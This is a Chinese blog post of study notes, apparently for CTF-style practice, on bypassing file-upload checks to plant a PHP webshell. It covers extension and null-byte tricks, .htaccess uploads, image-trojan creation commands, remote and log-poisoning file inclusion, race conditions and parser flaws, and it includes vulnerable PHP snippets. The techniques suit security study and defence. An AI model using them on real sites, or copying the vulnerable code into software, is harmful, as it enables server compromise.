加载中...

文件上传的小想法

Up-load 漏洞

一、后缀检查

白名单绕过

  • js拦截和MIME拦截

    关闭js(Firefox)直接修改留到浏览器html

  • GET的%00 注释(进行urlencode)

    抓包发现有文件路径的get参数在./正常文件夹/muma.php%00

    然后把file的文件的后缀改成白名单内的后缀

  • POST(不进行urlencode)

    在POST包内把%00 进行urlcode的decode(只能这样)

黑名单绕过

  • Windows后缀缺陷

    muma.php3 muma.php5 muma.phpf

    muma.php (后面有一个空格)

    muma.php.(后面有一个点)

    muma.php::\(DATA(后面有::\)DATA)

  • 大小写及双写绕过

    1)muma.php.php 或者muna.php. .

    2)muma.Php

  • 黑名单完备

    一,将xx.jpg当做xx.php执行

    1)上传.htaccess

    2)上传.user.ini

    二,两次上传(解析错误)

文件本身检查

  • 文件头 HEAD TAIL

    JPG FFD8FF
    PNG 89504E47 0000000049454E44AE426082
    GIF 47494638
    ZIP 504B0304 00000000
    Windows Bitmap (bmp) 424D
    • More

      gzip 文件头:1F8B08 http网页gzip压缩

      JPEG (jpg),   文件头:FFD8FF              
      PNG (png),   文件头:89504E47 文件尾:0000000049454E44AE426082
      GIF (gif), 文件头:47494638
      ZIP Archive (zip), 文件头:504B0304 文件尾:00000000
      RAR Archive (rar), 文件头:52617221

      TIFF (tif), 文件头:49492A00
      Windows Bitmap (bmp),   文件头:424D
      CAD (dwg),   文件头:41433130
      Adobe Photoshop (psd), 文件头:38425053
      Rich Text Format (rtf), 文件头:7B5C727466
      XML (xml), 文件头:3C3F786D6C
      HTML (html), 文件头:68746D6C3E
      Email [thorough only] (eml), 文件头:44656C69766572792D646174653A
      Outlook Express (dbx), 文件头:CFAD12FEC5FD746F
      Outlook (pst), 文件头:2142444E
      MS Word/Excel (xls.or.doc), 文件头:D0CF11E0
      MS Access (mdb), 文件头:5374616E64617264204A
      WordPerfect (wpd), 文件头:FF575043
      Adobe Acrobat (pdf), 文件头:255044462D312E
      Quicken (qdf), 文件头:AC9EBD8F
      Windows Password (pwl), 文件头:E3828596
      Wave (wav), 文件头:57415645
      AVI (avi), 文件头:41564920
      Real Audio (ram), 文件头:2E7261FD
      Real Media (rm), 文件头:2E524D46
      MPEG (mpg), 文件头:000001BA
      MPEG (mpg), 文件头:000001B3
      Quicktime (mov), 文件头:6D6F6F76
      Windows Media (asf), 文件头:3026B2758E66CF11
      MIDI (mid), 文件头:4D546864

      增加-----------------

      JPEG (jpg),文件头:FF D8 FF
      PNG (png),文件头:89 50 4E 47 【参考:png文件头详解】89 50 4e 47 0d 0a 1a 0a
      GIF (gif),文件头:47 49 46 38
      Windows Bitmap (bmp),文件头:42 4D [参考:bmp文件格式详解]42 4D 36 0C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      python反编译文件pyc的头:03 F3 0D 0A (实验吧,py的交易会用到)
      pyd的文件头:4D 5A 90 00
      ZIP Archive (zip),文件头:50 4B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件
      rar文件: 52 61 72 21
      7z文件头:37 7A BC AF 27 1C(实验吧,有趣的文件用到了)
      MS Word/Excel (xls.or.doc),文件头:D0CF11E0
      CAD (dwg),文件头:41433130
      Adobe Photoshop (psd),文件头:38425053
      Rich Text Format (rtf),文件头:7B5C727466
      XML (xml),文件头:3C3F786D6C
      HTML (html),文件头:68746D6C3E
      Email [thorough only] (eml),文件头:44656C69766572792D646174653A
      Outlook Express (dbx),文件头:CFAD12FEC5FD746F
      Outlook (pst),文件头:2142444E
      MS Access (mdb),文件头:5374616E64617264204A
      WordPerfect (wpd),文件头:FF575043
      Postscript (eps.or.ps),文件头:252150532D41646F6265
      Adobe Acrobat (pdf),文件头:255044462D312E
      Quicken (qdf),文件头:AC9EBD8F
      Windows Password (pwl),文件头:E3828596
      RAR Archive (rar),文件头:52617221
      Wave (wav),文件头:57415645
      AVI (avi),文件头:41564920
      Real Audio (ram),文件头:2E7261FD
      Real Media (rm),文件头:2E524D46
      MPEG (mpg),文件头:000001BA
      MPEG (mpg),文件头:000001B3
      Quicktime (mov),文件头:6D6F6F76
      Windows Media (asf),文件头:3026B2758E66CF11
      MIDI (mid),文件头:4D546864
      ————————————————
      版权声明:本文为CSDN博主「iachel」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
      原文链接:https://blog.csdn.net/iachel/article/details/120107611

  • 文件包含绕过

    1)主要代码(特征)

    
    $file = $_GET['file'];
    if(isset($file)){
        include $file;//关键点包含文件
    }
    ?>
    //用get传入file会把一切文件当做php
    
    

    2)(标准形式)(可访问含有PHP代码和txt/文件路径)

    file=./上层文件夹的文件夹/xx

    file=file:///c://file_path 或者file=C://file_path

    http://xxxx/include.php?file=http://我们自己的服务器/muma.php

    • 伪地址

      file:// 访问本地文件系统
      ftp:// 文件传输系统
      php:// 输入输出流
      zlib:// 访问压缩流
      data:// 访问数据流
      phar:// 访问php归档
      rar:// 访问rar
      ogg:// 访问音频
      expect:// 交互式流
      • convert.iconv.a.b a ,b 分别可以是

        'UTF-7', 'UTF-32'
        'UTF-8
        ', 'UTF-32'
        'ASCII
        ', 'UTF-32'
        'EUC-JP
        ', 'UTF-32'
        'SJIS
        ', 'UTF-32'
        'eucJP-win
        ', 'UTF-32'
        'SJIS-win
        ', 'UTF-32'
        'ISO-2022-JP', 'UTF-32
        '
        'CP932', 'UTF-32*'

      4)!!!!日志包含绕过

         查出路径1)配置文件2)猜与试
      

      先输入一段http://url?f将它写入日志

      然后包含日志成功包含木马

      • 配置文件与日志文件

        1)配置文件

        nginx /etc/nginx/nginx.conf
        tomcat /conf/tomcat-users.xml

        2)日志文件

        nginx /var/log/nginx/access.log

      5)后缀固定,远程包含 ,创建一个后缀一样的文件,然后包含路径只输入名字不加后缀

  • 图片

    检查文件头代码(文件类型实际上由文件头决定)

    1)copy 123.jpg /a + muma.php / b muma.jpg

    cat 12.jpg muma.php > muma.jpg

    2)在php 前加GIF98a 然后改后缀为.gif

    3)利用dc32(反汇编工具)在图片最后一行加代码

    二次渲染(将图片木马代码抽出然后当做图片再次写入新的图片)

  • 条件竞争

    1)如果网站先保存文件后检查,不符合的删除

    可以用burp 的Inruder(暴力破解当快速发送器)直到网站反应不过来让木马残留网站(可以比较短时间)

    2)检查后重命名

    快速发送直到来不及反应

  • 数组代码审计

    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
            if (!is_array($file)) //注意这里进行处理为了能上传绕过该处理{
                $file = explode('.', strtolower($file));//['2','jpg']
            }
    
            $ext = end($file);//数组最后的元素即是后缀(默认情况下呵呵)
            $allow_suffix = array('jpg','png','gif');
            if (!in_array($ext, $allow_suffix)) {
                $msg = "禁止上传该后缀文件!";
            }else{                  //reset将指针回到开头
                $file_name = reset($file) . '.' . $file[count($file) - 1];
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    
  • 解析漏洞

    服务器中间件对文件后缀名解析出错将其当做php执行(直接访问就行)

    IIS 5.x/6.0 test.asp/1.jpg muma.asp;.jpg IIS xxx/1.jpg/1.php

    Nigix xxx/1.jpg/1.php xxx/1.jpg%00php xxx/1.jpg%20%00php%20 ⇒ xxx/1.jpg \0php

    Apache 1.php.jpg.png从后面向前只有php可以被解析

  • 常见中间件的路径

    Apache:Linux /var/www/html

    Nginx:Linux /usr/local/nginx/html

    IIS:Linux /inetpub/wwwroot

    tomcat:Linux /webapps/ROOT

posted @ 2023-04-15 16:52  泠の半掉线  阅读(51)  评论(0)    收藏  举报